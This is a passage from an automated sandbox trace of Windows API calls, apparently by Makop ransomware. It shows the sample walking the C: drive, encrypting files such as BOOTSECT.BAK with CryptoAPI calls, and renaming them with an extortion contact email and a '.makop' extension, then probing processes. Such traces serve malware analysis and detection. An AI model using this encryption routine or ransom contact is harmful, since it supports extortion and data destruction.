ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.215] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0062.215] wsprintfW (in: param_1=0x657ba70, param_2="%s\\%s" | out: param_1="C:\\Boot\\zh-TW\\bootmgr.exe.mui") returned 29 [0062.215] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.215] GetLastError () returned 0x5 [0062.215] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0062.215] FindClose (in: hFindFile=0x48c7068 | out: hFindFile=0x48c7068) returned 1 [0062.216] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0062.216] FindClose (in: hFindFile=0x48c7028 | out: hFindFile=0x48c7028) returned 1 [0062.216] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0062.216] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\bootmgr") returned 10 [0062.216] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0062.217] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.217] GetLastError () returned 0x5 [0062.217] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0062.217] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\BOOTSECT.BAK") returned 15 [0062.217] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0062.221] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0062.222] GetProcessHeap () returned 0x48a0000 [0062.222] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0062.222] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0062.222] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0062.222] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c7028) returned 1 [0062.222] CryptSetKeyParam (hKey=0x48c7028, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0062.222] GetProcessHeap () returned 0x48a0000 [0062.222] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0062.222] CryptEncrypt (in: hKey=0x48c7028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40) returned 1 [0062.222] CryptDestroyKey (hKey=0x48c7028) returned 1 [0062.222] WriteFile (in: hFile=0x120, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657e4a8*=0x40, lpOverlapped=0x0) returned 1 [0062.225] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0062.226] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0062.226] WriteFile (in: hFile=0x120, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0062.226] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0062.226] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0062.226] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c7028) returned 1 [0062.226] CryptSetKeyParam (hKey=0x48c7028, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0062.226] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.226] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x2000, lpOverlapped=0x0) returned 1 [0062.228] CryptEncrypt (in: hKey=0x48c7028, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x2000, dwBufLen=0x2000 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x2000) returned 1 [0062.228] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.228] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x2000, lpOverlapped=0x0) returned 1 [0062.229] CryptDestroyKey (hKey=0x48c7028) returned 1 [0062.229] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x20d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.229] SetEndOfFile (hFile=0x120) returned 1 [0062.235] GetProcessHeap () returned 0x48a0000 [0062.235] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0062.235] GetProcessHeap () returned 0x48a0000 [0062.235] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0062.235] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\BOOTSECT.BAK.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 62 [0062.235] MoveFileW (lpExistingFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), lpNewFileName="C:\\BOOTSECT.BAK.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\bootsect.bak.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0062.239] CloseHandle (hObject=0x120) returned 1 [0062.239] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.[4B2E4630].[helpdesk_makp@protonmail.ch].makop", dwFileAttributes=0x27) returned 1 [0062.240] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0062.240] wsprintfW (in: param_1=0x657f770, param_2="%s\\%s" | out: param_1="C:\\Config.Msi") returned 13 [0062.240] wsprintfW (in: param_1=0x657ccf0, param_2="%s\\*.*" | out: param_1="C:\\Config.Msi\\*.*") returned 17 [0062.240] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7028 [0062.241] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.241] FindNextFileW (in: hFindFile=0x48c7028, lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.241] FindClose (in: hFindFile=0x48c7028 | out: hFindFile=0x48c7028) returned 1 [0062.242] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0062.242] wsprintfW (in: param_1=0x657f770, param_2="%s\\%s" | out: param_1="C:\\Documents and Settings") returned 25 [0062.242] wsprintfW (in: param_1=0x657ccf0, param_2="%s\\*.*" | out: param_1="C:\\Documents and Settings\\*.*") returned 29 [0062.242] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x657caa0 | out: lpFindFileData=0x657caa0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0xffffffff [0062.243] GetLastError () returned 0x5 [0062.243] FindNextFileW (in: hFindFile=0x48c6fe8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xae99ef60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0062.243] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\hiberfil.sys") returned 15 [0062.243] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0062.244] GetLastError () returned 0x20 [0062.244] GetProcessHeap () returned 0x48a0000 [0062.244] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x100000) returned 0x6580020 [0062.244] NtQuerySystemInformation (in: SystemInformationClass=0x10, SystemInformation=0x6580020, Length=0x100000, ResultLength=0x0 | out: SystemInformation=0x6580020, ResultLength=0x0) returned 0x0 [0062.666] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.667] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.667] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.667] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.667] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.668] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.668] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.668] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.668] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.669] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.669] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.669] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.669] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.669] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.670] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.670] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.670] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.670] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.671] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.671] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.671] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.671] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.672] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.672] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.672] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.672] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.672] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.673] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.673] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.673] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.674] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.674] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.674] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.674] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.675] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.675] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.675] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.675] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.676] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.676] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.676] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.676] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.677] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.677] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.677] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.677] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.678] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.679] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.679] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.679] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.679] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.679] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.680] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.680] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.680] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.680] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.681] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.681] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.681] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.681] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.681] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.682] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.682] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.682] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.682] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.683] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.683] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.683] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.683] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.684] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.684] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.684] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.684] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.684] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.685] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.685] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.685] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.685] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.685] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.686] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.686] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.686] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.686] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.686] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.687] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.687] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.687] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.687] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.688] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.688] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.688] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.688] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.689] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.689] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.689] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.689] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.689] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.690] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.690] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.690] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.690] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.690] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.691] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.691] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.691] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.691] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.692] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.692] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.692] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.692] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.693] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.693] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.697] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.697] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.697] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0062.697] OpenProcess 